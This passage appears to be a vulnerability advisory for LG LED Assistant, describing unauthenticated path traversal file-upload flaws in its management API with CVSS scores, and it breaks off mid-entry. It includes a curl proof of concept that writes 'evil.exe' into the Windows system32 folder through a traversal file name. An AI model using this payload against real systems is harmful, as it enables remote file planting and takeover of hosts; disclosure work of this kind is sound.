LG LED Assistant Multiple Vulnerabilities

seamCorrectionFileCreate Path Traversal File Upload

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

A path traversal vulnerability exists in the endpoint handler for /api/management/seamCorrectionFileCreate in Management.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.

PoC:

curl -ki -d 'fileName=../../../../../../../windows/system32/evil.exe&coef=["\u0011\u0022\u0033\u0044"]' ':8787/api/management/seamCorrectionFileCreate'>

get3DLutFile Path Traversal File Upload

(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

A path traversal vulnerability exists in the endpoint handler for /api/Management/get3DLutFile in Management.js. An unauthenticated remote attacker can exploit this to …